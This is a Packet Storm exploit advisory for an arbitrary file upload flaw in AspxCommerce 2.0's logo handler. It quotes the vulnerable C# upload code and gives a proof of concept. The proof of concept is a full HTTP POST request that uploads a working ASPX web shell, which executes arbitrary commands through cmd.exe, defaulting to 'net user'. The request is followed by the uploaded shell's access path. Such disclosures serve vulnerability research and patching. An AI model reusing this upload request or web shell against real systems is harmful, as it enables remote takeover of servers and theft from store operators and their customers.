AspxCommerce 2.0 Shell Upload

2013-09-2300:00:00
SANTHO
packetstormsecurity.com
JSON
`# Exploit Title: AspxCommerce v2.0 - Arbitrary File Upload Vulnerability  
# Exploit Author: SANTHO (@s4n7h0)  
# Vendor Homepage: http://www.aspxcommerce.com/  
# Version: Version 2.0 and below  
  
Introduction:  
~~~~~~~~~~~~~  
AspxCommerce is a complete e-Commerce solution for setting up a fully  
functional online store in minutes. It's fully customizable with rich set  
of features.  
You can customize the complete front end, change the look and feel, create  
categories and subcategories, add and modify products, accept payments  
through credit cards and facilitates a lot of other features.  
  
Exploitation Details:  
~~~~~~~~~~~~~~~~~~~~~  
The application doesn't sanitize file extension or content in the Logo  
Editing module. The vulnerability allows a remote attacker to upload files  
via POST method with multiple extensions and access them remotely.  
  
Vulnerable Module : LogoHandler.ashx  
  
Vulnerable Code :  
string strFileName =  
Path.GetFileName(context.Request.Files[0].FileName);  
string strExtension =  
Path.GetExtension(context.Request.Files[0].FileName).ToLower();  
strFileName = strFileName.Substring(0, strFileName.Length -  
strExtension.Length);  
strFileName = strFileName + '_' + rnd.Next(111111,  
999999).ToString() + strExtension;  
int strSize = HttpContext.Current.Request.Files[0].ContentLength;  
string strBaseLocation =  
HttpContext.Current.Server.MapPath("~/Modules/Logo/image/");  
if (!Directory.Exists(strBaseLocation))  
{  
Directory.CreateDirectory(strBaseLocation);  
}  
string strSaveLocation = strBaseLocation + strFileName;  
HttpContext.Current.Request.Files[0].SaveAs(strSaveLocation);  
retMsg = "Modules/Logo/image/" + strFileName;  
  
  
Proof of Concept:  
~~~~~~~~~~~~~~~~~  
  
POST /Modules/Logo/LogoHandler.ashx HTTP/1.1  
Host: aspxcommerce.localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101  
Firefox/23.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer:  
http://aspxcommerce.localhost/Sagin/HandleModuleControls.aspx?uid=342&pid=1  
Cookie: nessus-session=false; VisitCount=10; OriginalURL=  
http://aspxcommerce.localhost/; ASP.NET_SessionId=ks51au3fwkgnmtebeznhl245;  
__zlcid=%7B%22mID%22%3A%22L0dAifDhLZG23y%22%2C%22sid%22%3A%22130919.327274.49Hg448a%22%7D;  
OriginalReferrer=http://aspxcommerce.localhost/;  
SageUserRolesCookie=SageUserRolesCookie=Site  
Admin&SageUserRolesProtected=910f0c31-e1dd-42d2-988b-545fe8621544;  
SageFrame.AUTH__1=4374B9AB7C8ACCE26B3DF7734F2DEA168E06E27D8852C0346F86CDB566D2B9D22A256A9C56F561DCFF57A79F473E37DAF19D7E8AFC32D97DE3CAAA0769B8D3FDC604FDCF6768838E3C30E0E9C84974B0373627A00D793AA792590BAB93CF6EF8105E81E156A0DEB1E0910C1BC1583AC69F3FDFEC  
Connection: keep-alive  
Content-Type: multipart/form-data;  
boundary=---------------------------56701790317916  
Content-Length: 1789  
  
-----------------------------56701790317916  
Content-Disposition: form-data; name="myfile[]"; filename="cmd.aspx"  
Content-Type: application/octet-stream  
  
<%@ Page Language="VB" Debug="true" %>  
<%@ import Namespace="system.IO" %>  
<%@ import Namespace="System.Diagnostics" %>  
  
<script runat="server">  
  
Sub RunCmd(Src As Object, E As EventArgs)  
Dim myProcess As New Process()  
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)  
myProcessStartInfo.UseShellExecute = false  
myProcessStartInfo.RedirectStandardOutput = true  
myProcess.StartInfo = myProcessStartInfo  
myProcessStartInfo.Arguments=xcmd.text  
myProcess.Start()  
  
Dim myStreamReader As StreamReader = myProcess.StandardOutput  
Dim myString As String = myStreamReader.Readtoend()  
myProcess.Close()  
mystring=replace(mystring,"<","<")  
mystring=replace(mystring,">",">")  
result.text= vbcrlf & "<pre>" & mystring & "</pre>"  
End Sub  
  
</script>  
  
<html>  
<body>  
<form runat="server">  
<p><asp:Label id="L_p" runat="server"  
width="80px">Program</asp:Label>  
<asp:TextBox id="xpath" runat="server"  
Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>  
<p><asp:Label id="L_a" runat="server"  
width="80px">Arguments</asp:Label>  
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c  
net user</asp:TextBox>  
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px"  
Text="Run"></asp:Button>  
<p><asp:Label id="result" runat="server"></asp:Label>  
</form>  
</body>  
</html>  
-----------------------------56701790317916--  
  
Uploaded Shell's Access Path :  
http://aspxcommerce.localhost/Modules/Logo/image/cmd_134724.aspx  
  
  
  
  
  
  
--   
SANTHO  
twitter : @s4n70 <https://twitter.com/s4n7h0>  
  
<http://devilslab.wordpress.com/>  
`
JSON